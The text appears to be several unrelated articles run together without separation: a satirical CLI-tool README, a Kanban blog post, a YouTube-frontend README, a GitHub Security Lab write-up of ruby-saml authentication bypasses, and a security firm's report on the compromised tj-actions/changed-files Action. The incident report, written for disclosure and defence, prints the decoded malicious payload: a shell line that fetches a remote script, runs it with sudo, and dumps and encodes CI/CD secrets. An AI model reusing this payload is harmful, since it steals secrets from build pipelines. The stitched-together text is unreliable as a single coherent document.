Why learn ac­tual skills when you can just look im­pres­sive in­stead?

Introducing rust-stake­holder - a CLI tool that gen­er­ates ab­solutely mean­ing­less but im­pres­sive-look­ing ter­mi­nal out­put to con­vince every­one you’re a cod­ing ge­nius with­out writ­ing a sin­gle line of use­ful code.

“After us­ing rust-stake­holder, my boss stopped ask­ing about my dead­lines and started ask­ing for my in­sights dur­ing board meet­ings.” - Developer who still has­n’t com­pleted their tick­ets from last sprint

Remember, it’s not about your ac­tual con­tri­bu­tion to the code­base, it’s about how com­pli­cated your ter­mi­nal looks when the VP of Engineering walks by. Nothing says “I’m vi­tal to this com­pany” like 15 progress bars, cryp­tic er­ror mes­sages you seem un­fazed by, and tech­ni­cal jar­gon no­body un­der­stands.

* 🖥️ Dazzling Development Simulations: Make it look like you’re solv­ing CERN-level com­put­ing prob­lems when you’re ac­tu­ally just re­fresh­ing Reddit

* 🧠 Meaningless Jargon Generator: Impress with phrases like “Implemented non-eu­clid­ean topol­ogy op­ti­miza­tion for multi-di­men­sional data rep­re­sen­ta­tion” (no, it does­n’t mean any­thing)

* 📊 Convincing Progress Bars: Nothing says “I’m work­ing” like a progress bar slowly ad­vanc­ing while you’re in the break room

* 🌐 Fake Network Activity: Simulate mis­sion-crit­i­cal API re­quests that are ac­tu­ally just your com­puter talk­ing to it­self

* 👥 Imaginary Team Activity: Pretend your in­vis­i­ble friends are send­ing you im­por­tant pull re­quests

* 🎮 Domain Chameleon: Switch be­tween back­end, fron­tend, blockchain and 7 other do­mains faster than you can say “full-stack de­vel­oper”

Or build from source (warning: might in­volve ac­tual pro­gram­ming):

docker build -t rust-stake­holder .

All com­mands be­low can be used through:

docker run -t –rm rust-stake­holder [arguments]

# Impress the blockchain VC in­vestors

rust-stake­holder –dev-type blockchain –jargon ex­treme –alerts

# Look busy dur­ing per­for­mance re­view sea­son

rust-stake­holder –complexity ex­treme –team –duration 1800

# Convince every­one you’re a 10x game de­vel­oper

rust-stake­holder –dev-type game-de­vel­op­ment –framework “Custom Engine” –jargon high

# For the data sci­ence frauds

rust-stake­holder –dev-type data-sci­ence –jargon ex­treme –project “Neural-Quantum-Blockchain-AI”

# Emergency mode: Your pro­ject is due to­mor­row and you haven’t started

rust-stake­holder –dev-type full­stack –complexity ex­treme –alerts –team

* Promotion Fast-Track: Skip the te­dious “delivering value” step en­tirely

* Meeting Domination: Let it run in the back­ground dur­ing Zoom calls to seem busy

* Deadline Extensions: “Sorry, still re­solv­ing those crit­i­cal sys­tem alerts”

* Salary Negotiation Tool: Just leave it run­ning dur­ing your per­for­mance re­view

* Job Security: Become the only per­son who seems to un­der­stand your fic­tional sys­tems

“I left rust-stake­holder run­ning over the week­end. When I came back on Monday, I had been pro­moted to Principal Engineer.” - Anonymous

“My man­ager does­n’t know what I do, and thanks to rust-stake­holder, nei­ther do I.” - Satisfied User

“Since in­stalling rust-stake­holder, my col­leagues have stopped ask­ing me for help be­cause my work ‘looks too ad­vanced’.” - Senior Imposter Engineer

Currently, this pack­age has the same amount of test cov­er­age as your ex­cuses for miss­ing dead­lines - ab­solutely none.

Much like your ac­tual de­vel­op­ment skills while us­ing this tool, tests are purely the­o­ret­i­cal at this point. But, if you’re feel­ing par­tic­u­larly pro­duc­tive be­tween fake ter­mi­nal ses­sions, con­sider adding some!

After all, noth­ing says “I’m a se­ri­ous de­vel­oper with im­pos­tor syn­drome” like metic­u­lously test­ing a pack­age de­signed to help you fake be­ing a de­vel­oper. It’s beau­ti­fully re­cur­sive.

Contributing? That would in­volve ac­tual cod­ing. But if you in­sist:

Fork the repo (whatever that means)

Submit a PR and pre­tend you un­der­stand the code­base

rust-stake­holder is satire. If your en­tire tech­ni­cal rep­u­ta­tion is built on run­ning a fake ter­mi­nal pro­gram, I am not re­spon­si­ble for the in­evitable mo­ment when some­one asks you to ac­tu­ally, you know, code some­thing.

I am also not re­spon­si­ble if you ac­ci­den­tally im­press your way into a po­si­tion you’re com­pletely un­qual­i­fied for. Though if that hap­pens, con­grat­u­la­tions on your new ca­reer in man­age­ment.

When peo­ple say Kanban, they tend to think of a spe­cific set of prac­tices. Whiteboards & sticky notes (both al­most uni­ver­sally vir­tual). Tasks mov­ing through columns that rep­re­sent work­flow. Every now and then, WIP lim­its even.

As of­ten as we do it with other things, it re­duces a broader prin­ci­ple to a set of over­sim­pli­fied tech­niques, which, in turn, tend to un­der­de­liver in many con­texts.

In its orig­i­nal mean­ing, Kanban rep­re­sented a vi­sual sig­nal. The thing that com­mu­ni­cated, well, some­thing. It might have been a need, op­tion, avail­abil­ity, ca­pac­ity, re­quest, etc.

In our Kanban sys­tems, the ac­tual Kanban is a sticky note.

It rep­re­sents work, and given its clos­est en­vi­ron­ment (board, columns, other stick­ies, vi­sual dec­o­ra­tors), it com­mu­ni­cates what needs, or needs not, to be done.

If it’s yel­low, it’s a reg­u­lar fea­ture. If there’s a blocker on it, it re­quests fo­cus. If there’s a long queue of neigh­bors, it sug­gests flow in­ef­fi­ciency. If it’s a col­umn named “ready for…” it com­mu­ni­cates avail­able work and/​or hand­off.

A vi­sual sig­nal all the way.

Let’s de­cou­ple our­selves from the most stan­dard Kanban board de­sign. Let’s for­get columns, sticky notes, and all that jazz.

Enters Kasia, our of­fice man­ager at Lunar. One of the many things Kasia takes care of is mak­ing sure we don’t run out of kitchen sup­plies. The tricky part is that when you don’t drink milk your­self, it be­comes a pain to check the cup­board with milk re­serves every now and then to en­sure we’re stocked.

Then, one day, I found this.

A sim­ple in­dex card taped to the last milk car­ton in a row stat­ing, “Bring me to Kasia.” That’s it.

In the con­text, it re­ally says that:

* we’re run­ning out of (specific kind of) milk

* we want to re­stock soon

* there’s enough time to make an or­der (we don’t drink that much of cap­puc­ci­nos and mac­chi­atos)

But it’s just a vi­sual sig­nal. Kanban at its very core.

What Kasia de­signed is a per­fect Kanban sys­tem. It re­lies on vi­sual sig­nals, which are put in the con­text. Even bet­ter, un­like most Kanban boards I see across teams, the sys­tem is self-ex­plana­tory. Everything one needs to know is writ­ten on the in­dex card.

That’s, by the way, an­other char­ac­ter­is­tic of a good Kanban sys­tem. It should be as sim­ple as pos­si­ble (but not sim­pler). Our work­flow rep­re­sen­ta­tions tend to get more and more com­plex over time by them­selves; we don’t need to make them so from the out­set.

It’s a safe as­sump­tion that, al­most al­ways, there’s a sim­pler vi­su­al­iza­tion that would work just as well. We, process de­sign­ers, of­ten fall into the trap of ov­erengi­neer­ing our tools.

And it’s a healthy wake-up call when some­one who knows close to noth­ing about our fancy stuff de­signs a sys­tem that we would un­likely think of. One that is a per­fect im­ple­men­ta­tion of the orig­i­nal spirit, even if it does­n’t fol­low any of the com­mon tech­niques.

Because it’s all about prin­ci­ples, not prac­tices.

That’s what we can learn from Milk Kanban.

A clean and min­i­mal youtube fron­tend, with­out all the ads and whis­tles. Supported by yt-dlp, and op­tion­ally your lo­cal AI model, to make your youtube ex­pe­ri­ence lo­cal, mind­ful, suc­cint and ad free.

* Download videos from YouTube, us­ing yt-dlp be­hind the scenes

* Ignore videos you don’t want to watch

* No de­pen­den­cies (except for nano-spawn, which it­self has no tran­sient deps)

* HTML/CSS only, no JS frame­works on client/​server side

* Host it in your home net­work to play­back videos on all your de­vices

* Just JSON files for per­sis­tence, stu­pid sim­ple man­age­ment and backup

git clone https://​github.com/​chris­t­ian-fei/​my-yt.git

cd my-yt

npm i

# in­stall yt-dlp, please see https://​github.com/​yt-dlp/​yt-dlp

npm start

git clone https://​github.com/​chris­t­ian-fei/​my-yt.git

cd my-yt

docker com­pose up –build -d

docker run -p 3000:3000 -v /path/to/your/data/folder/for/persistence:/app/data chris­tian­fei/​my-yt:lat­est

* wanted to get back my chrono­log­i­cal feed, in­stead of a “algorithmically cu­rated” one

you can just go to the “Subscriptions” page if you want to see your YouTube videos in chrono­log­i­cal or­der, as gen­tly pointed out on HN

* you can just go to the “Subscriptions” page if you want to see your YouTube videos in chrono­log­i­cal or­der, as gen­tly pointed out on HN

* no click­bait thumb­nails (using mq2 in­stead of mqde­fault thumb­nail, thanks @drcheap)

* no re­lated videos, or any al­go­rith­mi­cally de­ter­mined videos pushed in your face

* no ads (in “just skip the spon­sors”)

* wanted to try in­te­grate the so much hyped AI in a per­sonal pro­ject

* wanted to try out yt-dlp

* wanted to ex­per­i­ment with the HTML5 el­e­ment and WebVTT API

* just wanted to make this, ok?

* I am even pay­ing for YouTube Premium, so it’s not a mat­ter of money, but a mat­ter of con­trol over my at­ten­tion and en­hanced of­fline ex­pe­ri­ence

* Make it pos­si­ble to delete down­loaded videos

* Have a way to view a video at a rea­son­able size in be­tween the small pre­view and full screen

* Add a way to down­load a sin­gle video with­out sub­scrib­ing to a chan­nel

* Specify LLM server end­point

List and choose avail­able model to use for sum­ma­riza­tion

* List and choose avail­able model to use for sum­ma­riza­tion

* add some op­tions for down­load qual­ity (with webm merge for 4k sup­port)

Here are some links to help you un­der­stand the pro­ject bet­ter:

Makes re­quests us­ing the chat com­ple­tions API of LMStudio.

yt-dlp wrap­per to down­load videos, get chan­nel videos and video in­for­ma­tion and tran­script

Handles per­sis­tence of video in­for­ma­tion (set video as down­loaded, sum­mary, ig­nored, up­sert­ing videos, etc.)

de­pen­dency less, bare HTML5, CSS3 and JS for a ba­sic fron­tend

Currently, on the LLM side of things:

* sup­ports ba­sic chat com­ple­tions API (LMStudio right now)

ex­pects lms server to be run­ning on http://​lo­cal­host:1234

* ex­pects lms server to be run­ning on http://​lo­cal­host:1234

* cus­tomiza­tion will come in the fu­ture if there’s enough in­ter­est (let me know by open­ing an is­sue or pull-re­quest)

Download the pro­ject while you can be­fore I get striked with a DMCA take­down re­quest

Critical au­then­ti­ca­tion by­pass vul­ner­a­bil­i­ties (CVE-2025-25291 + CVE-2025-25292) were dis­cov­ered in ruby-saml up to ver­sion 1.17.0. Attackers who are in pos­ses­sion of a sin­gle valid sig­na­ture that was cre­ated with the key used to val­i­date SAML re­sponses or as­ser­tions of the tar­geted or­ga­ni­za­tion can use it to con­struct SAML as­ser­tions them­selves and are in turn able to log in as any user. In other words, it could be used for an ac­count takeover at­tack. Users of ruby-saml should up­date to ver­sion 1.18.0. References to li­braries mak­ing use of ruby-saml (such as om­ni­auth-saml) need also be up­dated to a ver­sion that ref­er­ence a fixed ver­sion of ruby-saml.

In this blog post, we de­tail newly dis­cov­ered au­then­ti­ca­tion by­pass vul­ner­a­bil­i­ties in the ruby-saml li­brary used for sin­gle sign-on (SSO) via SAML on the ser­vice provider (application) side. GitHub does­n’t cur­rently use ruby-saml for au­then­ti­ca­tion, but be­gan eval­u­at­ing the use of the li­brary with the in­ten­tion of us­ing an open source li­brary for SAML au­then­ti­ca­tion once more. This li­brary is, how­ever, used in other pop­u­lar pro­jects and prod­ucts. We dis­cov­ered an ex­ploitable in­stance of this vul­ner­a­bil­ity in GitLab, and have no­ti­fied their se­cu­rity team so they can take nec­es­sary ac­tions to pro­tect their users against po­ten­tial at­tacks.

GitHub pre­vi­ously used the ruby-saml li­brary up to 2014, but moved to our own SAML im­ple­men­ta­tion due to miss­ing fea­tures in ruby-saml at that time. Following bug bounty re­ports around vul­ner­a­bil­i­ties in our own im­ple­men­ta­tion (such as CVE-2024-9487, re­lated to en­crypted as­ser­tions), GitHub re­cently de­cided to ex­plore the use of ruby-saml again. Then in October 2024, a block­buster vul­ner­a­bil­ity dropped: an au­then­ti­ca­tion by­pass in ruby-saml (CVE-2024-45409) by ahack­er1. With tan­gi­ble ev­i­dence of ex­ploitable at­tack sur­face, GitHub’s switch to ruby-saml had to be eval­u­ated more thor­oughly now. As such, GitHub started a pri­vate bug bounty en­gage­ment to eval­u­ate the se­cu­rity of the ruby-saml li­brary. We gave se­lected bug bounty re­searchers ac­cess to GitHub test en­vi­ron­ments us­ing ruby-saml for SAML au­then­ti­ca­tion. In tan­dem, the GitHub Security Lab also re­viewed the at­tack sur­face of the ruby-saml li­brary.

As is not un­com­mon when mul­ti­ple re­searchers are look­ing at the same code, both ahack­er1, a par­tic­i­pant in the GitHub bug bounty pro­gram, and I no­ticed the same thing dur­ing code re­view: ruby-saml was us­ing two dif­fer­ent XML parsers dur­ing the code path of sig­na­ture ver­i­fi­ca­tion. Namely, REXML and Nokogiri. While REXML is an XML parser im­ple­mented in pure Ruby, Nokogiri pro­vides an easy-to-use wrap­per API around dif­fer­ent li­braries like libxml2, libgumbo and Xerces (used for JRuby). Nokogiri sup­ports pars­ing of XML and HTML. It looks like Nokogiri was added to ruby-saml to sup­port canon­i­cal­iza­tion and po­ten­tially other things REXML did­n’t sup­port at that time.

We both in­spected the same code path in the val­i­date_sig­na­ture of xm­l_se­cu­rity.rb and found that the sig­na­ture el­e­ment to be ver­i­fied is first read via REXML, and then also with Nokogiri’s XML parser. So, if REXML and Nokogiri could be tricked into re­triev­ing dif­fer­ent sig­na­ture el­e­ments for the same XPath query it might be pos­si­ble to trick ruby-saml into ver­i­fy­ing the wrong sig­na­ture. It looked like there could be a po­ten­tial au­then­ti­ca­tion by­pass due to a parser dif­fer­en­tial!

The re­al­ity was ac­tu­ally more com­pli­cated than this.

Roughly speak­ing, four stages were in­volved in the dis­cov­ery of this au­then­ti­ca­tion by­pass:

Discovering that two dif­fer­ent XML parsers are used dur­ing code re­view.

Establishing if and how a parser dif­fer­en­tial could be ex­ploited.

Finding an ac­tual parser dif­fer­en­tial for the parsers in use.

To prove the se­cu­rity im­pact of this vul­ner­a­bil­ity, it was nec­es­sary to com­plete all four stages and cre­ate a full-blown au­then­ti­ca­tion by­pass ex­ploit.

Security as­ser­tion markup lan­guage (SAML) re­sponses are used to trans­port in­for­ma­tion about a signed-in user from the iden­tity provider (IdP) to the ser­vice provider (SP) in XML for­mat. Often the only im­por­tant in­for­ma­tion trans­ported is a user­name or an email ad­dress. When the HTTP POST bind­ing is used, the SAML re­sponse trav­els from the IdP to the SP via the browser of the end user. This makes it ob­vi­ous why there has to be some sort of sig­na­ture ver­i­fi­ca­tion in play to pre­vent the user from tam­per­ing with the mes­sage.

Let’s have a quick look at what a sim­pli­fied SAML re­sponse looks like:

Note: in the re­sponse above the XML name­spaces were re­moved for bet­ter read­abil­ity.

As you might have no­ticed: the main part of a sim­ple SAML re­sponse is its as­ser­tion el­e­ment (A), whereas the main in­for­ma­tion con­tained in the as­ser­tion is the in­for­ma­tion con­tained in the Subject el­e­ment (B) (here the NameID con­tain­ing the user­name: ad­min). A real as­ser­tion typ­i­cally con­tains more in­for­ma­tion (e.g. NotBefore and NotOnOrAfter dates as part of a Conditions el­e­ment.)

Normally, the Assertion (A) (without the whole Signature part) is canon­i­cal­ized and then com­pared against the DigestValue (C) and the SignedInfo (D) is canon­i­cal­ized and ver­i­fied against the SignatureValue (E). In this sam­ple, the as­ser­tion of the SAML re­sponse is signed, and in other cases the whole SAML re­sponse is signed.

We learned that ruby-saml used two dif­fer­ent XML parsers (REXML and Nokogiri) for val­i­dat­ing the SAML re­sponse. Now let’s have a look at the ver­i­fi­ca­tion of the sig­na­ture and the di­gest com­par­i­son.

The fo­cus of the fol­low­ing ex­pla­na­tion lies on the val­i­date_sig­na­ture method in­side of xm­l_se­cu­rity.rb.

Inside that method, there’s a broad XPath query with REXML for the first sig­na­ture el­e­ment in­side the SAML doc­u­ment:

sig_el­e­ment = REXML::XPath.first(

@working_copy,

“//ds:Signature”,

{“ds”=>DSIG}

Hint: When read­ing the code snip­pets, you can tell the dif­fer­ence be­tween queries for REXML and Nokogiri by look­ing at how they are called. REXML meth­ods are pre­fixed with REXML::, whereas Nokogiri meth­ods are called on doc­u­ment.

Later, the ac­tual SignatureValue is read from this el­e­ment:

base64_sig­na­ture = REXML::XPath.first(

sig_el­e­ment,

″./ds:SignatureValue”,

{“ds” => DSIG}

sig­na­ture = Base64.decode64(OneLogin::RubySaml::Utils.element_text(base64_signature))

Note: the name of the Signature el­e­ment might be a bit con­fus­ing. While it con­tains the ac­tual sig­na­ture in the SignatureValue node it also con­tains the part that is ac­tu­ally signed in the SignedInfo node. Most im­por­tantly the DigestValue el­e­ment con­tains the di­gest (hash) of the as­ser­tion and in­for­ma­tion about the used key.

So, an ac­tual Signature el­e­ment could look like this (removed name­space in­for­ma­tion for bet­ter read­abil­ity):

Later in the same method (validate_signature) there’s again a query for the Signature(s)—but this time with Nokogiri.

noko_sig_el­e­ment = doc­u­ment.at_x­path(‘//​ds:Sig­na­ture’, ‘ds’ => DSIG)

Then the SignedInfo el­e­ment is taken from that sig­na­ture and canon­i­cal­ized:

noko_signed_in­fo_el­e­ment = noko_sig_el­e­ment.at_x­path(‘./​ds:Signed­In­fo’, ‘ds’ => DSIG)

canon_string = noko_signed_in­fo_el­e­ment.canon­i­cal­ize(canon_al­go­rithm)

Let’s re­mem­ber this canon_string con­tains the canon­i­cal­ized SignedInfo el­e­ment.

The SignedInfo el­e­ment is then also ex­tracted with REXML:

signed_in­fo_el­e­ment = REXML::XPath.first(

sig_el­e­ment,

″./ds:SignedInfo”,

{ “ds” => DSIG }

From this SignedInfo el­e­ment the Reference node is read:

ref = REXML::XPath.first(signed_info_element, ”./ds:Reference”, {“ds”=>DSIG})

Now the code queries for the ref­er­enced node by look­ing for nodes with the signed el­e­ment id us­ing Nokogiri:

ref­er­ence_n­odes = doc­u­ment.xpath(“//*[@​ID=$id]”, nil, { ‘id’ => ex­trac­t_signed_el­e­men­t_id })

The method ex­trac­t_signed_el­e­men­t_id ex­tracts the signed el­e­ment id with help of REXML. From the pre­vi­ous au­then­ti­ca­tion by­pass (CVE-2024-45409), there’s now a check that only one el­e­ment with the same ID can ex­ist.

The first of the ref­er­ence_n­odes is taken and canon­i­cal­ized:

hashed_el­e­ment = ref­er­ence_n­odes[0][..]canon_hashed_el­e­ment = hashed_el­e­ment.canon­i­cal­ize(canon_al­go­rithm, in­clu­sive_­name­spaces)

The canon_hashed_el­e­ment is then hashed:

hash = di­gest_al­go­rithm.di­gest(canon_hashed_el­e­ment)

The DigestValue to com­pare it against is then ex­tracted with REXML:

en­cod­ed_di­gest_­value = REXML::XPath.first(

ref,

″./ds:DigestValue”,

{ “ds” => DSIG }

di­gest_­value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))

Finally, the hash (built from the el­e­ment ex­tracted by Nokogiri) is com­pared against the di­gest_­value (extracted with REXML):

un­less di­gest­s_­match?(hash, di­gest_­value)

The canon_string ex­tracted some lines ago (a re­sult of an ex­trac­tion with Nokogiri) is later ver­i­fied against sig­na­ture (extracted with REXML).

un­less cert.pub­lic_key.ver­ify(sig­na­ture_al­go­rithm.new, sig­na­ture, canon_string)

In the end, we have the fol­low­ing con­stel­la­tion:

The as­ser­tion is ex­tracted and canon­i­cal­ized with Nokogiri, and then hashed. In con­trast, the hash against which it will be com­pared is ex­tracted with REXML.

The SignedInfo el­e­ment is ex­tracted and canon­i­cal­ized with Nokogiri - it is then ver­i­fied against the SignatureValue, which was ex­tracted with REXML.

The ques­tion is: is it pos­si­ble to cre­ate an XML doc­u­ment where REXML sees one sig­na­ture and Nokogiri sees an­other?

It turns out, yes.

Ahacker1, par­tic­i­pat­ing in the bug bounty, was faster to pro­duce a work­ing ex­ploit us­ing a parser dif­fer­en­tial. Among other things, ahack­er1 was in­spired by the XML roundtrips vul­ner­a­bil­i­ties pub­lished by Mattermost’s Juho Forsén in 2021.

Not much later, I pro­duced an ex­ploit us­ing a dif­fer­ent parser dif­fer­en­tial with the help of Trail of Bits’ Ruby fuzzer called ruzzy.

Both ex­ploits re­sult in an au­then­ti­ca­tion by­pass. Meaning that an at­tacker, who is in pos­ses­sion of a sin­gle valid sig­na­ture that was cre­ated with the key used to val­i­date SAML re­sponses or as­ser­tions of the tar­geted or­ga­ni­za­tion, can use it to con­struct as­ser­tions for any users which will be ac­cepted by ruby-saml. Such a sig­na­ture can ei­ther come from a signed as­ser­tion or re­sponse from an­other (unprivileged) user or in cer­tain cases, it can even come from signed meta­data of a SAML iden­tity provider (which can be pub­licly ac­ces­si­ble).

An ex­ploit could look like this. Here, an ad­di­tional Signature was added as part of the StatusDetail el­e­ment that is only vis­i­ble to Nokogiri:

The SignedInfo el­e­ment (A) from the sig­na­ture that is vis­i­ble to Nokogiri is canon­i­cal­ized and ver­i­fied against the SignatureValue (B) that was ex­tracted from the sig­na­ture seen by REXML.

The as­ser­tion is re­trieved via Nokogiri by look­ing for its ID. This as­ser­tion is then canon­i­cal­ized and hashed (C). The hash is then com­pared to the hash con­tained in the DigestValue (D). This DigestValue was re­trieved via REXML. This DigestValue has no cor­re­spond­ing sig­na­ture.

So, two things take place:

* A valid SignedInfo with DigestValue is ver­i­fied against a valid sig­na­ture. (which checks out)

* A fab­ri­cated canon­i­cal­ized as­ser­tion is com­pared against its cal­cu­lated di­gest. (which checks out as well)

This al­lows an at­tacker, who is in pos­ses­sion of a valid signed as­ser­tion for any (unprivileged) user, to fab­ri­cate as­ser­tions and as such im­per­son­ate any other user.

Parts of the cur­rently known, undis­closed ex­ploits can be stopped by check­ing for Nokogiri pars­ing er­rors on SAML re­sponses. Sadly, those er­rors do not re­sult in ex­cep­tions, but need to be checked on the er­rors mem­ber of the parsed doc­u­ment:

doc = Nokogiri::XML(xml) do |config|

con­fig.op­tions = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET

end

raise “XML er­rors when pars­ing: ” + doc.er­rors.to_s if doc.er­rors.any?

While this is far from a per­fect fix for the is­sues at hand, it ren­ders at least one ex­ploit in­fea­si­ble.

We are not aware of any re­li­able in­di­ca­tors of com­pro­mise. While we’ve found a po­ten­tial in­di­ca­tor of com­pro­mise, it only works in de­bug-like en­vi­ron­ments and to pub­lish it, we would have to re­veal too many de­tails about how to im­ple­ment a work­ing ex­ploit so we’ve de­cided that it’s bet­ter not to pub­lish it. Instead, our best rec­om­men­da­tion is to look for sus­pi­cious lo­gins via SAML on the ser­vice provider side from IP ad­dresses that do not align with the user’s ex­pected lo­ca­tion.

Some might say it’s hard to in­te­grate sys­tems with SAML. That might be true. However, it’s even harder to write im­ple­men­ta­tions of SAML us­ing XML sig­na­tures in a se­cure way. As oth­ers have stated be­fore: it’s prob­a­bly best to dis­re­gard the spec­i­fi­ca­tions, as fol­low­ing them does­n’t help build se­cure im­ple­men­ta­tions.

To re­hash how the val­i­da­tion works if the SAML as­ser­tion is signed, let’s have a look at the graphic be­low, de­pict­ing a sim­pli­fied SAML re­sponse. The as­ser­tion, which trans­ports the pro­tected in­for­ma­tion, con­tains a sig­na­ture. Confusing, right?

To com­pli­cate it even more: What is even signed here? The whole as­ser­tion? No!

What’s signed is the SignedInfo el­e­ment and the SignedInfo el­e­ment con­tains a DigestValue. This DigestValue is the hash of the canon­i­cal­ized as­ser­tion with the sig­na­ture el­e­ment re­moved be­fore the canon­i­cal­iza­tion. This two-stage ver­i­fi­ca­tion process can lead to im­ple­men­ta­tions that have a dis­con­nect be­tween the ver­i­fi­ca­tion of the hash and the ver­i­fi­ca­tion of the sig­na­ture. This is the case for these Ruby-SAML parser dif­fer­en­tials: while the hash and the sig­na­ture check out on their own, they have no con­nec­tion. The hash is ac­tu­ally a hash of the as­ser­tion, but the sig­na­ture is a sig­na­ture of a dif­fer­ent SignedInfo el­e­ment con­tain­ing an­other hash. What you ac­tu­ally want is a di­rect con­nec­tion be­tween the hashed con­tent, the hash, and the sig­na­ture. (And once the ver­i­fi­ca­tion is done you only want to re­trieve in­for­ma­tion from the ex­act part that was ac­tu­ally ver­i­fied.) Or, al­ter­na­tively, use a less com­pli­cated stan­dard to trans­port a cryp­to­graph­i­cally signed user­name be­tween two sys­tems - but here we are.

In this case, the li­brary al­ready ex­tracted the SignedInfo and used it to ver­ify the sig­na­ture of its canon­i­cal­ized string,canon_string. However, it did not use it to ob­tain the di­gest value. If the li­brary had used the con­tent of the al­ready ex­tracted SignedInfo to ob­tain the di­gest value, it would have been se­cure in this case even with two XML parsers in use.

As shown once again: re­ly­ing on two dif­fer­ent parsers in a se­cu­rity con­text can be tricky and er­ror-prone. That be­ing said: ex­ploitabil­ity is not au­to­mat­i­cally guar­an­teed in such cases. As we have seen in this case, check­ing for Nokogiri er­rors could not have pre­vented the parser dif­fer­en­tial, but could have stopped at least one prac­ti­cal ex­ploita­tion of it.

The ini­tial fix for the au­then­ti­ca­tion by­passes does not re­move one of the XML parsers to pre­vent API com­pat­i­bil­ity prob­lems. As noted, the more fun­da­men­tal is­sue was the dis­con­nect be­tween ver­i­fi­ca­tion of the hash and ver­i­fi­ca­tion of the sig­na­ture, which was ex­ploitable via parser dif­fer­en­tials. The re­moval of one of the XML parsers was al­ready planned for other rea­sons, and will likely come as part of a ma­jor re­lease in com­bi­na­tion with ad­di­tional im­prove­ments to strengthen the li­brary. If your com­pany re­lies on open source soft­ware for busi­ness-crit­i­cal func­tion­al­ity, con­sider spon­sor­ing them to help fund their fu­ture de­vel­op­ment and bug fix re­leases.

If you’re a user of ruby-saml li­brary, make sure to up­date to the lat­est ver­sion, 1.18.0, con­tain­ing fixes for CVE-2025-25291 and CVE-2025-25292. References to li­braries mak­ing use of ruby-saml (such as om­ni­auth-saml) need also be up­dated to a ver­sion that ref­er­ence a fixed ver­sion of ruby-saml. We will pub­lish a proof of con­cept ex­ploit at a later date in the GitHub Security Lab repos­i­tory.

Special thanks to Sixto Martín, main­tainer of ruby-saml, and Jeff Guerra from the GitHub Bug Bounty pro­gram.

Special thanks also to ahack­er1 for giv­ing in­puts to this blog post.

* 2024-11-04: Bug bounty re­port demon­strat­ing an au­then­ti­ca­tion by­pass was re­ported against a GitHub test en­vi­ron­ment eval­u­at­ing ruby-saml for SAML au­then­ti­ca­tion.

* 2024-11-12: A sec­ond au­then­ti­ca­tion by­pass was found by Peter that ren­ders the planned mit­i­ga­tions for the first use­less.

* 2024-11-14: Both parser dif­fer­en­tials are re­ported to ruby-saml, the main­tainer re­sponds im­me­di­ately.

* 2024-11-14: The work on po­ten­tial patches by the main­tainer and ahack­er1 be­gins. (One of the ini­tial ideas was to re­move one of the XML parsers, but this was not fea­si­ble with­out break­ing back­wards com­pat­i­bil­ity).

* 2025-02-16: The main­tainer starts work­ing on a fix with the idea to be back­wards-com­pat­i­ble and eas­ier to un­der­stand.

* 2025-02-17: Initial con­tact with GitLab to co­or­di­nate a re­lease of their on-prem prod­uct with the re­lease of the ruby-saml li­brary.

We are ac­tively in­ves­ti­gat­ing a crit­i­cal se­cu­rity in­ci­dent in­volv­ing the tj-ac­tions/​changed-files GitHub Action. While our in­ves­ti­ga­tion is on­go­ing, we want to alert users so they can take im­me­di­ate cor­rec­tive ac­tions. We will keep this post up­dated as we learn more. StepSecurity Harden-Runner de­tected this is­sue through anom­aly de­tec­tion when an un­ex­pected end­point ap­peared in the net­work traf­fic. Based on our analy­sis, the in­ci­dent started around 9:00 AM March 14th, 2025 Pacific Time (PT) / 4:00 PM March 14th, 2025 UTC. StepSecurity has re­leased a free se­cure drop-in re­place­ment for this Action to help re­cover from the in­ci­dent: step-se­cu­rity/​changed-files. We highly rec­om­mend you re­place all in­stances of tj-ac­tions/​changed-files with the StepSecurity se­cure al­ter­na­tives.

Update 1: Most ver­sions of tj-ac­tions/​changed-files are com­pro­mised.

Update 2: We have de­tected mul­ti­ple pub­lic repos­i­to­ries have leaked se­crets in build logs. As these build logs are pub­lic, any­one can steal these se­crets. If you main­tain any pub­lic repos­i­to­ries that use this Action, please re­view the re­cov­ery steps im­me­di­ately.

Update 3: GitHub has re­moved the tj-ac­tions/​changed-files Action. GitHub Actions work­flows can no longer use this Action.

The tj-ac­tions/​changed-files GitHub Action, which is cur­rently used in over 23,000 repos­i­to­ries, has been com­pro­mised. In this at­tack, the at­tack­ers mod­i­fied the ac­tion’s code and retroac­tively up­dated mul­ti­ple ver­sion tags to ref­er­ence the ma­li­cious com­mit. The com­pro­mised Action prints CI/CD se­crets in GitHub Actions build logs. If the work­flow logs are pub­licly ac­ces­si­ble (such as in pub­lic repos­i­to­ries), any­one could po­ten­tially read these logs and ob­tain ex­posed se­crets. There is no ev­i­dence that the leaked se­crets were ex­fil­trated to any re­mote net­work des­ti­na­tion.

Our Harden-Runner so­lu­tion flagged this is­sue when an un­ex­pected end­point ap­peared in the work­flow’s net­work traf­fic. This anom­aly was caught by Harden-Runner’s be­hav­ior-mon­i­tor­ing ca­pa­bil­ity.

The com­pro­mised Action now ex­e­cutes a ma­li­cious Python script that dumps CI/CD se­crets from the Runner Worker process. Most of the ex­ist­ing Action re­lease tags have been up­dated to re­fer to the ma­li­cious com­mit men­tioned be­low (@stevebeattie no­ti­fied us about this). Note: All these tags now point to the same ma­li­cious com­mit hash:0e58ed8671d6b60d0890c21b07f8835ace038e67, in­di­cat­ing the retroac­tive com­pro­mise of mul­ti­ple ver­sions.”

$ git tag -l | while read -r tag ; do git show –format=“$tag: %H” –no-patch $tag ; done | sort -k2

v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67

v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67

v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67

@salolivares has iden­ti­fied the ma­li­cious com­mit that in­tro­duces the ex­ploit code in the Action.

The base64 en­coded string in the above screen­shot con­tains the ex­ploit code. Here is the base64 de­coded ver­sion of the code.

if [[ “$OSTYPE” == “linux-gnu” ]]; then

B64_BLOB=`curl -sSf https://​gist.githubuser­con­tent.com/​niki­tas­tupin/​30e525b776c409e03c2d6f328f254965/​raw/​mem­dump.py | sudo python3 | tr -d ‘\0’ | grep -aoE ‘“[^“]+”:\{“value”:“[^“]*”,“isSecret”:true\}’ | sort -u | base64 -w 0 | base64 -w 0`

echo $B64_BLOB

else

exit 0

fi

